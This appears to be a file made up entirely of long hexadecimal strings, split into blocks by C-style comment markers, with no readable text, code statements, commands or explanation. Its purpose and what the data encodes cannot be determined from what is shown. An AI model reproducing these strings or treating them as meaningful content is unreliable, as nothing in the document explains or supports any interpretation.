69e3b1f3feed54a86b8a3a9c895ca5378086f8f6a5d6fa991b3522190eeba689b6dd76839ca0a4a987a747087153008697b9e0fe1f4ef9f56a5a3054e656003ebd160ba5485d1849616d2313373cd1136d1dc998e0706f2ca5099a6cf963fb0d952a1861997a36e212bc1ffd9b121fe0963b0fa81b571fc2de27f111cac3ec4ead46ca982dc80dfa9e197efe23f62492fcbedf691cceb6dc0d2d601210d501986fcd759fc94f8380831f08a0723347504b27bdf9af2f9831ddfeb67142a779e7d3029e38a2e6fffc309fc2f00537eadc27bd4930d67ae2106156ad64c5c68d4b38a2120768b65282e2412d0b53afe57b8513fb06cba83a54a22340877830f4986bab84efa78f3b09fe7505aa4e594dc35a512195d1387bf7d23b4044417c3ab80a28c37f557dcb86110d04abfdeb4adbc0f46833959e5c5b936ddbb52bd405a1d5ae1d235fee1c50db56930ce2106f0cbffb37dbecdeb353fb46db71f7b92905cab6fe80a5afc850f5c9c7d31a76bf9af427d2dfce628e476b101a89d29503d5a2cf0acf9032719ebf1013d711bdbcc530ba90f832fa6c018e17d78ed2e840321ccda4df2e9cbed0ea2a92c2c3a7fe58baf56584155a7471ab7a5ac1d48551971ab3a3c75747dc0cbf8a6de71dd70377af79b3b7ef589e0aea7ebb61ce2d1608705515a6c529b1a7efa899b9bfe0dd01f2f35a35e*/
/*eb68b17e80979ab55aca5841bb8d51c9ea239bbdb56b903e0c6d195cd38bc9d6bdb2c901f6c6e4e39d7ed94a935a7f122a1200a25ebd8d7216de9fbce04506e3f7234441c3503edeecf27ae7d63a68fb7fbd834d1ae1bbce141e4f67e1586f4cfb774cee55931f15962d7643179eadc6833b84ea61b5d76387e25681b8e19545fa48846a6ea4d288186854a4441b140c92e2d544e53eaa98aeb594f136df2084853bcd00574dab0cd873be74e843c41143492c223f91371eae80bbbecbc131ba1facad7f7ba5f873171b722f9edcd7570130a1755cb714130b13c8ed16c2b9797bf72c241025bba9e4946bcff2f773da17f68d8429bc8f94df7dfaad092dea243942e1d2833048a3e34ea7680d69f5a8bd587d5522f15ad5be6f9f6b93d1819b832b3142f0934012da2444647d1cadb2326f8b3d3a698650d5586dc5fb8bf0b4db316f53a85b86b5dd250072405ba7a175b3917cc813db6ba1ea30c68d5abf9abe6297e1b30e5fee71d4d75ec36b381107533d73cd54b09125b8ad3aa81acb7ae20cff15c7f8fece1e28bd0e321728e99f1e549ff2a963cb123a5975407efb87c8812dde93f2ba95a33efc5ed1b103cb9d0c1bb4a7259573e2aab5935f7c808232727e982eb0df0deb1d2669edb4725a20ff9c1c01729c30e9dfe82716c61ed38ace960ab69e29fc251cf0c3559640c10243142847468c04754abe5a1be00e9cbd5e9460bd22244e626d87d05f4ab0c0c6e9f17ebbc677aa313b11f9da33f2d975584091bedd15d5d4df7f54bbff9f2ac4a9fa0beddc6fb8cfa8f48cf729831daeaae0ad7fd144794cf7594a9e09e007961c175bd689b760a4e93ca7da9b46f1c57aa985795e45c6fb32546d8c7e11f9bb483c54cff882b12f9a74586c80dbb94aec3e40cf76a311478a989523188f390f877b801945c5eb8bdfe298d15f6924ed9ca29b19e7687db8f406b971e7096717ca08b15b5909c77c9497d8269fee1e237e4e45f5173dccb5ee3df2e81de6c99d3cc6539fc7961d69f156c6629c192f7150b997452ce30dbda2d788dbb88f44a2c72b3e0ee2fea0e721498d1fc4a9ecb9d2f105de497275409d13b5fbf64085d71044690a4c618858ad856ac9f490a7cbed7db8863364aeba3bbcaa6fc199dbfd8a3b2f22656e9ce16a4e301bad8216a2f3e3e5d45aa429b4ecab38bf3c0a56f098a92f3c2b862262d9e8e3d3b070d16446a26651a93a1fa82c264f949d69984f50d338242d0585b26ba1114492583c44887fd2632c2b5c18639e8a227c7becefd04bd18d10c92de560d15edbc79b97e0dc3347b7613b4d95bb16dfb20738d63cfc9967a354d58b646cbcc513e907401c749a4504d94e99ed5ceebcf0981bc6516a7571b3e1c97b8e0b948fe20e1ecdff95a8e0107cc0d84625f4fa19881f9b975e344ff0849c4249fb6c80ec94081a9797f9e03a799bb6cd8e464027d079802775bc23a08dd29db207ef4613d30b725de5c34e27ec60416e1b73342d8dc2395062e58bfd207284c8c67ef86c3b3c302a735516daca9623511f1fee7ef81c5edb7d383b3021d0217cab10f7aa323fd419465875de33c82927a5adf94ab26fa776584621729b25e1def58dd4622149d6b30d978f4aca2ff955eb46e21fcb9e0b0548ba2dd2f9a138dec4c0f1c99d67ebfbcba6789d043a1ea6eb7861eabe18f4f58d7ecadbb6c15c7ff939d1d8ed5763021645099af45147207cd91b2ca518daa63e8c80e56ffbe1add8258603b44de3ccb4a0a9146975cc43ece09dfa56cdfcd7cb568199c5b1b3b54a6fa2255f51d68e7e7f996252a274c2290958d8feffc51b1ab17cce622cd43ddf73717e3f4075ee42035bd53d3fa5b9e4f9960ebf5d55a50c4d607e4e0887b062622416b8749afc8e994877a4c1963a208d7cf7ee64086a25ad3930802c7d280d745644237125e5c1c012afceb3edf0a6f234bafb837737fa3de6677cb015057d366ae921ecf264897edcd910cfb18feadf4551b570207c935dcbe810988f7f66a53d24c78e5412f9e9c34f1ef4669a04cfb9a0b22b0afb4e61070070f450173094a0ef00df1f873584e95c346fa2d1b35f91915d5a991d8d41cf753f8e6b8158250705d696efca3a95ae5dad53d30551903b9f59687cb6caa983406fe963e7cc1d3350b56e96802f9eb3a71bf959720875b4ade02ddedc0b37abc2b1311707a88b30d77165677a23b9befab3625713b8e405fd72d0d04f565701051e4774c391756398655ea579353d407b3848114b13cd2f5ed5f9f4333cf6318ea92c47be7735ab4c9e95ae684a8f2f14accfef8227e62d8386d8279421e4a1bf726cfcaeb435450a13848da6c106770ed0c33fe195709ca1d01aa61081e913e0269facdfce1b2674602e0805830a5f95047164a0a64e6e388c374097a87c6970d803d2e48ca10916b467085d266be01e73f7f62f5e5df01395c0d6e26a623d87f5e63c5800909795e7966c5c44a5e66d0282c4cd20c272200df1c01696d91f6323991990b2d0291f7201486efea94d6c6401c883412f0724de8da0e35d7425617288e9caba4540414a6234611ec6606577b15e399ac46e53e21b46cc88f5d78aecb02b2236580e90da601935d6ad67a105ce35e83e0c6816e1e60fae0acab3ca71833dff09cac768ccbf4bfba16da161b822a449b0ca184bbb0f9980ddea94cf99fb9db7893a3922f46f500df94898a0d5ee8871ded2de9da1be10b6b37fd33fea01b477af98aeb6fff7388cb6a29bb5f1d51541d29f596afa66ca8468b82a6f5c02a842731896e26450ecd8677387f2d75e357857d5098ff1143d*/
/*ee9c1ad1ab66de83cef086140c1d1b04fb6514e52af16cdb8eb24a6a1decded6e29251d9e9cc1f33124aed99acdd42a809310397076ddfeb90b70512523205d09171a7a93bc58edb5379e8d544e2bb643777cce721c759f3bebc8743e8e3aba273e6117e154c227d88ec056e1aeb9f7db8bbe1f50d8102ca8f9d1c3c85ab3b39c7db48f58b1fa0669bc22d4cc162462606265b25d01ce263aa0937ce65862cee5728b3d6c24325d67802d72cb746e051a2ffc281f4248deb323ae37548aaf7d793e7aa644367043ed488311208f44c66261d26e57803c56cb39913226ae201b4d320ce165a57e637ec27f1cd61ed586f650b676ce21d303980abb2b82df993fe6ba7ce0b6fea7c9503c488bf7e2db535534381f50e74b50a85a1d8bcced501755191e158c049e69fcd5ac305c851b5e7966877519eb19b8eabd0ffe9bfc8fe6fc6566b0370a1258e4ada0250cc6b09b414be7bb5a371acf89f520eda0f0f22b84bb7ba26a65d34a1dfe3a1a1ecb6bef2133e41dac12fc9dd6b08e962522aff557c802f86851e9c3c30f73f798a67f6797127e4c56dc5d4fbfe60a4c8d87d0c143c28b90fde6684889a6272cdc24c8b11c2f8b1936b993410ed8ed8f9c6628df22b9aafc184d476c92a8bc1f71e5877d6466e34f51b7e3874300fd5d8c3a928228e7711102db6d08af268fe88eef72aa031cf0288bf34dd1388ffafa5d9e7c74b8ca0c6b2e9ef5379c62eff254cd31739f904ee788e495312c44bd05edd2135046b25ecf20e14fbf56e244eeeeb2315e25820a4c8bb185bac247c0ff954054ee33e1f4cb1508730aa2015569c5833acab6a982b1e755c3282491cf2520e504e7185476bd6dbb5f27db0738b6c55d071b79e50f22b674c738eaab565f1538c75a8b44e4092e3feafb60f73160d47db7dc1685dff18a630c2f1f8d0fc83e84aa65092634f5574be7e8060fe2b881f8716befec8a3b3c6549cb494f8d3470ba017b26cbdf7cc61d1e35920eeb1199edecb84b7f2a4d77f836a8c53c33b285c3dead467923cdba41c0ba13bc33eb90ae6de31819567074aa325fe2ae69160ce54151b0ce9a296a27eac8776f7f750fad095e49499fdfae5c974294540a5be6fb7b5525ed13a79b7a1cffb6b49015f83a5347612fae25061ba6fc973da27d847aeb969b3afb3d53eb6cd2faa955564c6566ef5745af2d9f48dc2e520248c60b30419d652acf952ccdf50018917e7fc2bdeec3938d59c88949e437e15ae8d7dde2953bb2a85b0d25f126c59ea4889197c1669e155d9eba026c3561f5d90a9ac3bd9f5cbb8b29b823cd1f0a1a904b4a050a13800a655e104719f96cc3f03e9ad4f2fd79d78df12f35be823398c9038016f5edb413a56395e997dc75a8476b970294d5ed05f6576aaec4a01a30a15d8e87488574a75da7d028b14d7b1ede19fda4a8326e3aedad5de6bc92f48266396f459e477e0ac3df03e313931d4f326eb927256be1c734fd1a443021691715b619040c3bba445940e84ea16dedebb50e4b01d9c051a9d7e07873f9c17cf00c7ab2d7efed981285cbf56cafdc3d1f7aaf6ac9e88eef7aa6e5bbc613b34c7c50dedba36acf3774e58d64a918932a7e0cc863332c7a49827606c1aee73ee6cf7c623517af2cceb9bd6f3fc3ae5056642827138224e40a3029544bfc4e4d50424dc227fba2355687704bb7ee9027eddc9b55185ac9d0331b3bc0c9e8370c4ce7a4cfaf3d82202d5f939290080c773e72b89330323cfec304f99188047a44616ede1f1f1e10cdd25b940d51c9b6ab3c20caa0a1383d53fb4b34c9cf3f742cd08bac289ec54124032a02912f0fe71c7f9871af56b631e101e02e3bbb009214fb7684444fed732c045d7259ffc9e88e919ab1ccaf41420bac5602b51a485bdf4eb57a6f53a28648c1cdac10773b662db1b829dffd262f02f34a23788f2adbae6515d812136e36f141eae4aa56d57f184a0f0a570e7ff5073df9776f415bd7cee43cf448a1365f6c4ec28dc1803866a6e3ad1e4b0848edd293ea063926f455246208b1985d5293ded50fd346e3b83cf7f19a1f2a0662589091e434879142cce562bdb1d888ebc5f2161b19a2d7100b262d46130c9d7f9ef77651f7801e330a3caa600b60c6271de44cb7b8b6a7376d196050468fd235d835bf7ecf3968ab6e1db5244245740281c66c9abe674505dc843415f5f61adda591aca9f1f79e1657d5dbb7a180d9af9eab6f1e9e19af06fd7d86539ccfdc909702f3a8eb3f529f6d567de8094434f730f0d96c406841e742b71c55dc3119c58cc95a8e6fc24605fee533ac1a6a4174c60c953410939cebb8d0334e4862199778ac3eef36264142ad2b20d5ddbb359d3610f0edcaa151663b707c31f58d9e1fa6e6b0ca6fabbcbfd14ac234c517f9f4b6ad7ca2791346e8d72405e7ee8c1654e02b2393a51d1f7c2e61b1fca5c35d21c9cec96ae5ec7afddd9832aa485ab02a4ac84dc31ec8579e913c22f93ea8f5e5c6e26b89de030306a5293ceafdaaf020fecef92aba341bb395726776b08a45b445a1c3c5bd107fc92d2a400521f73efba321ad49e60432f499b077617fb74e318eb261bba5c2311cdbd81c176834f55c3abcafa43b304b7ebf32945ef6f3f5908f0a266d135ca2b6e3cc5f65269da0be938579fb3ad705e67ced6bfb031abc010446f8d103ace0a5ac5070f8b407d33226e587a79e6348829c759a67b0658c1aed48f29fc9bdf4ba82d796702f3788d9ae647db3d656a341190d8ad4aa966df6b4b8eebd073b177e3d502be100f87bcbb6df0c7a8a3ba0aa6f926f8fc33a4c7e61df09a*/
/*97083ea81f04b233b91e931eb935370a84503d62958d6797718684268b31331fd0d3018e62ec3f7f2d16d4f29111fb9e4b9edc6e3521e012449672f42b2682e032c802f32ce2774f2e64976a9615479eb4a1434dc2098b0278a8487bbdda7fcf33b63f124ebf2d3033e68d0ed2a84cc97c82de1bcd1daff1c03d5288f5304747173f5ca93a8072db5b9e81506df1bde7e6fb25fd8c7b466a04fe1f4e865ec7b9854456bd5b121d34d17f12779425b7d3268574bf1d1e105d451b68b980e760b3a89dc121ac47907d1f5345e1fb4b5024492512474fc2b1f9380635a5595e6750124cd9cea58ee2841b85c424aee4d4aa9e81a5decf04c99aa79c633dcee24bb72d2c861dacfc2fee0ffa4673c6f563e67b3daf78114d30f22484f404c07d103bdc79cdc898ae05638962fe715527597df070a1b172449f17d184298a7856c103108b805d5e80602de4446cb0ad865c00b161215a44396dc5cdac4cfe04b617f6946ed07b51475fda35b357568986fda88ca52d6ce4e9c20e61c7d5ed302c3c8a8050cf389be6aae2d56edd4df7484aa9a49d6c25bc1fa7587510714917c960a337aa37966f46f0e4dbb0d7ed9d1844389699ab8c505336010b0c926011ddab8accc0773ef5494cfeedf60460c24f8800b30954f0238599045c9cdf57c6fa901d16aff0fb534154ab46da837ce59ef72d3ed3a5b080e8a547d052000c42be661cc08134026ea40beaea6eead667c2d631167ab45a2b6b4575deb534ac3018014b8219b276c9ff54e6859d43ed7de72367bd556058e632b442c3be88907f286b635fc9afbf46c3fbfbce18ca572485f4279933777668d13c410eb8933e8c7ab2aaf27f6d38e22b66f232253ce0259e55405720e7ec3c930b05d82cfcdef268424c5fa0246e7ac94a749900ba05b7339981091f051e7088e0a5f49b11641c4d0ea0df849ee7c0b414da02d37a50594fec5f17264fe186aaf340c636779f54c2eadca0a5ef697b7bcf0eca8c619413e893e9e8eec5b4b173dd2dfffe0aca4a4ad8dec018b911f680aff634672c6ce7f91d69a3bc82f5404682dd48069faa34324f04fc1415389c50e54983b785b6e08eb4a9f6d5e9bac07afa837e2f3ae4281df1b2b0e73df614fa0bfa647ced3df18186dad0bf9adf377bc8295156e73f8f819daf79badac0da1051c9eb2c56abc0b21f57b6ebb6741c2e370ccefd2b3e58df38f093b4c2d75a961b43edd24effdd15f68b48e385520fe16e0e50b2264ed7cdae8c65d36ca557cf39a2173cc7998930b149fb896bf1393195fdc381b16d5104f4fd80a6d2e441248bc96a8b5723d48cbd2de7c357c0b0c6eaaf03f5dffa7f9d426c969b9604eb6bcec98b3b5021fb3a1b05c5d15db7cbec1723f52bad44cb4f0b54167800ceaf4f534571a34b8d7efee554c99bc01e02940c6a450ba94a21fc07d5ef8953636d6feb6e937975f82e319330c9838c3f6da0094095783538844f9f816e618604faa12d629b0b0fb4afe8643cd76ee288a4c7724f45ba8a6271a9584c1e319a4ecb03753724a9aa2644d11c469e22efcf4a75707c35a8ba579418f9b44facac424ce3369a159a87bae38f91c1a17624f235083c6b00343f4377c7780befaff85eb51d2a78265b2e108f47f1b15687a816dd239f940dd28d08d4b0f25c506a0cf3f084263c696cd21d3250206747519998be3672cce0eba3fa2f9842e9169b8c4f1640826870f1780ec3d0d7dc251a38ce03a87654fb1a2490887dee8180d5112de07d1e674f72a4c5aea9971775e7f6562c275ffad4b56e41c8058763ec88c46260cd022825ac2cf75d1ff3f2e0e9421df585bd698870aac541911fce1ac2f8c3ecf206326ab008e9bcd32b63e5bf19d559feb023e0d9efa3dccfccb53579204aa5cae53fc6666d780ff853b072f761c59800d5ab86c740c4febd68f84b126bbb5a6d284382aaffa170bf78b61c6e51bc23c9ac54ee5d08b1ccea7170de7dace3ab99bdebc73a5237e67424ef15b9afb3038493b21feab2a4e194dda6babc471d4340127752a9866e754fc3b0d4ff97eca554800b088618544c593ffabf14a458a56bd56f8172b8640c9532696545684155983113f31eb1626f41251f8f998725fb0a8d00871785d63098891d6604238386bb7e5721bf5ff5a49116099b0564d0119391aa7662d8a96e0c79a25ce50d97a60309fd66b49ccff763cb641d368ea30216738a043db2e6f065dafcb1ade8a7b28a9cfd972e5352bc864b2bdd98dbacf196418b835a2e39493a3cfff5bc79a96048ce94ded6c18b08b13332f2db43761fe58369ce9e3fe9b9ff669e3ef24fedc19be5e666f23c3126db4af21b69cfa178ab6125613e80f41bfe5b8dafb10fe76115ff27aaa75c7f4dd2ea48f7e5d6bcb6555cb73b3a8eba4dde3d153f44c200ee1c9adb8092fbebfb022ee1014e7eac25a5312d2413d1edecd9ca1bbc265d2d40d46c5be1dc2edfd8728fc2bbf634dcda71e4792d3c2f7e6b91313f012602840f5e98383ff7aeaa5f6afd2e845c5642f85220c66a055472940dbde167c1d2555968bb08f946ca5e7e9d581bd546a2b7c3decf051886ccd03dcf29916ccfa6a9ebf004f04757837f47084a95c440d64fa8d605e65aeb3f0d9511835ee4cc4b230501b45e9b636867af0de45481e94d89aa91a4104000b931573745e153e8cc07811ba02ee9c9e478c2acf7dcde95e7d26f89b0ab7f9f29b0bc2a2080944c339018c41726de5b397e9237441eb54cde475ce82e3d59496faf584cdf52d67690869ec085cf5b435b08e183ba0eaa24bbefc8fe75adb87202ef5f0b4221*/
/*d4b5ea0484961e38153b44b97b47f9cd488d051195abee0fac5b35cbc5ebd1fa43ad033da59ae560c607d6f35e7432c022e33fa551e56e232efde0bcfd5cb7d348abc1164ece3ccd11dad471bab333f0bfa8e30337eab26211010cc9409b11254dd325df5bd6725eb4bdf1d7a438b0eb794b8cf3e02b11259b694f69d16133c3562f98d1e4e40dbb7d9d1752f1b50b656eb4f2f810fd54e8d2ad93a7e20c28ee0ca8a336971db17a844b3bf1df9e7cc562c0f6a129fffc7501cb565106329a71d695416510ebb58ccc92c23c372c5e2139f237a5c795e53a7ec3b94e894b46b7dc0f2a3dbbcd5ad61a969094ce88d85317501b807ec89896d26edeba659e225e8aade16e6e62b16d0d016fa8fa3f194112b9c157b897d17637a9b3cd948e05385ffb0e0f2300c24f67cfd312c42b17ed32527f21210f79a4a6d47c6fc447d9dfc4febc02d91fa50950cf1b5d14a5d29e892060b1d46bb2e45a957b5be8e0606c36e49755c4bf557165850291cef63aea320e0614365bb73fa46aea998d5763684ae3f18e7661f22f7428dc5234525dbc8f2a07bee76d17b76acb93dae72f27de2050d8e7cd4758df2c40b67fa19e96d57cb716057d3d5578d9686fa81d973ee30788caf9b17ed8c807f2f7bc4d66fe91a107a96b9c1e327a74d161bf2e4a17c8ecb9f2155948e2ca1d148523752819014a6fad8a7904b7945543feab42fa580744bd78d279d2eaa2378a9cfdab8a8ac693a43f54f18d0daa31f89093edce86aa656b206bd17dc04347df69e508cd826922c0feb04438a08986d70133d440cbad0cca1eefa697520260dfe0f254a5a0aae56ceb7d017e5f6525cd19a64d568fe9840bd1700b3f69232c4f19d0252b8b3035994531170d3068add528273b580d89b12c74f546f2414899e2b738dd11cb868e55f2c9d72103ee4308575328889a72cb13ff5006e31b8d50df6c82198e8f5f37f7ab0f38bd27b352a328eac5dd7e22a68aa224fed8dd64f0f34835a57a87675b814cd2324aaeeda9d9edbe63abe3d95baaeab5a44729f745e49085341b0b705c3813e5e1050bc5fd0727337b732ea0110872a21330404ce2110d5b88ee9cc9d01e4e6120b7e884cc1db4660c3e1863fd1feaa87c38c41ade7527ef454815e7b4fa3541f52831a2e10bb7a3b46f463f5825c08bd8c0addf59fa28b8e52381e9aaf8e71ce5d3afa8a13e0fcea3ea6d9f83f404c03f2da782995fdac3ccd0f3ab25c78c2842f336e9babd158878df7955dcbbf111a52809ffa711be73aa59a82e40c57f8b09fe053fda583aa0af2f58cd444a5490345006ac1b05c127f1e5e3b9d27327a9c3790e56152904c21c83467d3fe1688449781a3e69a8e04475023693b9126576bb00d6f90e0d872fb13d6bdb0fd385e68fc8f8029d1503e4ee5f550cb62c7eb8d794a5ff264c4658b1d7c451cb5eafe3a323b1ff05283d766e9c18a84660fe5ede840f04dcf00d70d57f0a2cab63d8c04cf25bf7b16a59241d9f8db2947bca70825646489d2e0449259af393ea11cf05238b41374606ebcb6987f23138bff095e14148ec55ade7996a01d747834f93861a972f4010bb88d2095158664fd47615e960b7d47034eebc719a33c4773e92239cf5a541144eb6aaeb0cbaba616812a9cf33effb21af3fb93bf5af0772879cddd98a87f6877b86becbac49182de18c1fe7330e302697a9aedeee1d49572d3c1be3ff8bae70a21e2eebd2054ceefb289ac6c676a8d6d434b691d7f390bb0dba16a6bd6eff108d8a4f18c37dc15ba516246ec51095e2ad344a06eb61d80c479d7711e6c6fc89d6209e64594570cf5b490e1d011c276d36a4ec490a27207f678b72b3c1719f7b939d503781a212f35714d717293b5d66147c00ca1ae68c9bcd6d6278aabded903fd13c8eba749ef71feec89c1fc0f0f8831b53d6269f4be07a322756f901b74ed812dbc4c575974583e297d60e8487b3c6960289346866dccdd2415d6161ce9f76ca1913e0670fa34e97e8291a9a20c28e67062b8cff564bf5bacf3341e3681434c82625a00feaec20a4c6f007410658c4a42a010461f608f3e675dad1169c82c4d6a679abb97fbdf244d80416715981aeb3d7fe5c7e88a5be4ba1a354c56b87e1e3b7db8f0c0a4abe4056a3aa333201233dea3c14f3f0fcb2a614f88515fda127040c1fe9248fdcdf18b0f8ac6a242d6ac4cd20605f0cd64cd1954cfc336451a79d6a54106135168a2fb05dae43c488e9353d3b4bba5bd940491abc00e7b966ec75086c56787e573bf70a1306f7b8eaf1236bbcec6e554d6eea1e35b74e8f05813115770aafaa776d102a9758a4822e5cc91837a6e7481326a27c295c94efb7bcffea32da17aaaac467b9b8358dc159b108b1e1b64c950ac760dba5235fcc106b84683a08991b11133c4ea7d533c2499c8ea3fe2aa6f0c627c3684ac84f7497e0b3f1410982a58456cd05dc01b773ac7e7ec38c81d6fc75eff9f7a39125102aa679c5858e17c894b3882ee6f67369f8fcc99ed92d7bb063fc1ad14e88be7495c0ea852be53154afd16004baaec7ca74a06112dd0b07ab34cee0722be3fdd5fd40f448737cd1a0a304d112f23b89c9e87217526d7926784645cd291ac811a063866df42a8f2c18f6bb9e1c41d8f59d21f0c1845d15d4986873ff407a4395f500aa3ae5047020b4c9621568ba341cfeeb353a61a93348b8957300d4a796c9522ec955aec14b0e0c34a0a055bcac4e632d5aaf20443d16b635b61a55c07bd3636da4c35dabe5671b35530367cf9612bec10cec4254bc73e977b6444eec9acc25f5566cb4c20ea030*/
/*9050d30bc0cf570847ba5918a0749f8126a3813413d4088285c166e3831d769806cbce1a493945c2f8c4ad1e1910ff3b6a0b85c025a4803a758a3092fdc9a71ba2f39d8aa14a1f06f89cc8a99357684f007cf82ddb268fc7d451a734be7e4a6778506a948b557768faee00320111e1e565fc19c66481eb26374ee99c5c79a08ba66364ade7848d9a4b484abec98adda8d922c8a87c27f300ccf976817ac75617a7ad6a1334c0e78eb5d7dbdea0b9e13ae0b86cbd879872047b2b00ad0f27211b34cd8df6aa0ccfd2fb74f3b9e765a5c3d11225b81138cfe52c90272baa318c69de379ac8e21bb8b9a9635882520f8aa8e945ac9622312c3c16e3b57987498eab181f58f14727ba71f85cac3b4b0a712f4a3c410596d6d0dacef10382196a548478c604935b99ad2430d5674593500e5d1fc9d69cdbd4cc01b3b6a6ac4b889238e9c5ab4bc631bc408cdb1be79c2d3c0ad08a7a36c2d5075bb7a3fbdfab493937e120cb95e4cb8eeafd4adb46f91ebe7b4262903272553eb44c9aaf514291ad40dcf70035921b704955eb15beeab3817638ec59963f68ede101fd95a04c357574c0577dc6d7434536a56c5b401b197872873bb7c588c12d29b9c36cca41a825d34569393e608292ffc7a44a866297b0423878ae361a756ec74bcb22ce294f3641d5dbd175e0282836a30f6211ed41bc107e4df4d7195c6bfc1bd98463e5a2b388a135cac6c10b9d1b08f013951e565b635b159391871649ecad0453d33ac077a255e3533d5eab57dfb0553536207a5151e592e80c50e159d4e857448ffcbdb170103f17a5bf999fbb00938fdf7a6d54f6f751e4b338c3ee3dc2c7e8957dfaba371bc8b450e6c0653ad8f7b0d75466521c5167b7659ceddeb1b99529145e32e1fbb06296e7f802f29da6084416710ccc2760275f28097bcd861cb314f57647cf1a47a2f34a8297fd638dbcbb0e93e5af7bf56445df73fa0074297ef0b040126ceda9ddee1a8586702c1c9b3872c3b3ff099f73db239cf56905186c77c09f339b91fa579b7da87ad41b3720535d41068a57a6f7f0d99f119bc0aa490d996067ba5917989fc1d412d31d4a082011be67251320329a3b3ecef065741ee87a049dd17876100d1f39f181551f02a23e6b5f5c3efc892c9578304737193568eb6514bdfd5c072ba16f8a0e753c02cdde13a89309a521f282419c7412f41f5fdd93b85fbb3427ac55ae3b57e8e45a3cacf55daad0be39355ce305cd27de0c6aa4e1406b6e4af02f40405d9d0d0a9fee78f740e0166e3742b1d3fffeac21c46979fe1b3f207e5ad8f9830369ff7f02e667621935d8a5a42a2868ce0cc09d6d941fbc66ee2c6ea4a9f74411eb8ba5ff6bb52551069dbb7d62daad5f20e66c8222fbc5f8438d53255798620dec1c2aa0bf0ba3e8c3b3a1de02c5344aac23ba984c87dbdd5a857169bda19646b5f1752ee804f620c47b70ef15653f41f086b1128854face6ed35edb4953b665d8efeb63efac6366f98397c9814e7d9207dc42b3518830dddd6a94a65402111ad17854a03d5611447b34f08367c474ac8a254ea8866020d249337bc5e2c75c82d7762adf525385e0200780a6e2bc70b87694e7a958b089e8f8655e908260c82a425ac03934117bb8f534cef431e14c2aa8d70deb292f388b9103e65df556cfbdefe7d519190afad1a2c69605053486914c330ab2e71082f5a41c0b652f30d0d43190d48326d80d4944dc55cce104b6f79d753076f80ccb36bc83ce1b873c42f562c457f3681612198cf0d7a627cadea795f67f5885bb21fdad015774954a90ba778e7e97a75d0fa4a7ea98b8cfc7f0ceb9851b901b8f4983b121046f63fba6b42b864e7d14fca51e991d3fe7d125d3f526932fc70a5fd6c4c368a69fd1bfbbbdef00380b0bc03616030f6f6ade8c3e7f47083b64f1e430922af331fe7554cbaa1bc01c7954ead2cd01b3623a955afd961a7faba9ff9720b5efd76fac6a932c9c49b9e12ef3f04dbe36d234dc208ed475debc05f8813089c197a19b5fe886a9d0ad609749dabe00af92442933432bd5e4b7863d90493675931a0eaa58706fe269c3c338b8e6240915d0e5e663094d6c106d23b6c790ef35d06df84bc7490c4b3af163c68fa95e43bac56f95728021653da574bcba8c664f6f8a8ecfe97a2f5aab2c2ced0d3f76202842ec8ba19b49b6585693f60e1d22b4b600bbaa657ba42060423c766b9fde89ef410eb1225dfd0ba8e34655a894566c097d77561c9453e3f60f588539260043e748bfd1a7c77b33bff43dc8f4663093d532d93ff233446962ef2315b3f55d8922dd3ae80679148c67b0e6945d5e49964b1f0d3882c9ca335ec458e094cd2f250da0a027e59b4c0e1387b6e89c29ca87df9624ee588900880f42f608955142939d60b20572a2e2323cc0181e35d49b26e41722f942e77af04be7da86aa7b6cd07ffac74edba381046a32ff0dde3a69ccbcd8bb72efd7f7a84aa4d107a641f843565c52f999480aaad95533b1ab12ba582b1c2c18a5b1f106a35e30b3f2a9ccf4c6cc4101e4326e15093fcc135f341e1bc054a87b184c9e21fdb4ee2c40530db4205afe8ecf697961fd0cb10ee21a73fda50dbe04e3d1af2d664ac8dfd9771206c7ecfd57fb97d403a9688b3f59b9c46975e2f1ca766d59193e6fca969f3563e2b8e12c6666138530c6693c3e4e4bac9cf952a2688f4e35b5794ea39e217332a67b9d8e87729f5ff463ff422bc5552cf1e3b9e27ce926c23fb17a35ab929ad2f8dd608d9571e848cfa56778542a4fafd56afc10eabaa6f3540530a1e6762f4a4165f5e1*/
/*e7b6fe45e292e034c02f13a2719ddaea086106c315969ea10bfc2645b849644733ad0f672221e7d924bd9cf4129493f0b0c15707d4f3d0f7155a95ee6d809edc0dd4afc1c50d3419d1f66933eea34856ce9dc8956193319512fe6b3dd7fbeb7ca41c273c621d6becc2b543dd4051a68b1c8f9990e514ac27c72e2a067601ba610db1c391627b4d29f377476e0ed3259eb8f318e67ff73a6b60478803ff515edeaec8e427ae87756d07ea557372b07320be8851ba870c4ffdc758cdaf5afd37ead0884ea1c1b80cf9df80382c4c0128039aa9b8a2d0c4363ee58c8aabf9f2f5e567d1a9b438f38e006797151ba5dff0a833a212481230e4da17de92e18bc1b31e01cd91aad49ba481482a26b6d9785d4937e58e6341a782c7e4f6a27beace63e73cf8ffe21b9e554cbfbe0b19f54dc172dab8afdbd5d7f64419091a692ad94aa1327d4ba23f51603aec83b010c46078372691a3965412b07ae57af7863e4d687cc095986c880027d8349892e379a3b664b7d5af349b65066209c0dcc5536d960cd675cd55d2612bb3a363950948be424cf6cb9fde336ac5d562705a822bcaed20d10cabd83158bff280850f9effe2f4c3865e5b76a1958b556de74737dd87ebdd64431b84bf23e1aa305ba5cb6b22ed7fbfdfb951b623f322832febc294a5502d23acd188f91fde6854f9883ba97c06aa7f72479a59ed005923becd54560b6469685f11f2d08fc92c0add66aac9f4b4d6734d873fdcb4da90004683cb7be97d92a67de2f62299f1ee152ceb9fa106e0f898080a3a5ec81034ec6624fa98c2989bd635cbb1cf845063280eda6c6eaedb4034784709399d022a8f1f691255cd98737ddf1a2ca88ed3e8edf917a13fb35225f8be86c06971ddf396d4a368152caa54ac4abd2c904e88f8c614f3a5e63fb1f743cb6230c1947848ea4cb98d3a2b65c6d9383fbcc1d97236515ef7c42da38ed3fb078c3d7e0ad3ec0704d13422ce1401c60130e275c0299fb0d04be7bed25e3e964334faa0b3ec81b6126ea00ee209b20d82696eb2dd7f94a139350aa4a672e297edf078ed6e8dd4a5654ca422b22709696025947b962b2bd617225a1ffd0b0029edf35b9a13720c5181abdc5ce8a7095f8fc58c4694c03c62650cf98175246bf7e36e839c15c5422088b9b153089a721e88e950063d38186b2e1f5c33bf8435cfaacf274accb5c965af75de30358c76fa03e47f5273377eaff95e610126a647ae98825e7e448862901c7ef0f96b363048b41ac381e58effcc46fc8133c78f7ebbe20623609bc7854f9cc6040dfd9f797e1aece68c4c698f4697a63246dff8f8640a968765b67a418afad98ad7f9cc094cb4be974ece537722e731629c3595b462558291f902dc39ed04e3853cf06075992a5bd398019ff854241f5a66a9631275b014da4a682920b9127d9a155f1f97e8f219b37a6007410221559f714bb60ac4b08c532f0cc08cc8d8444c46ad217b353f0b416930c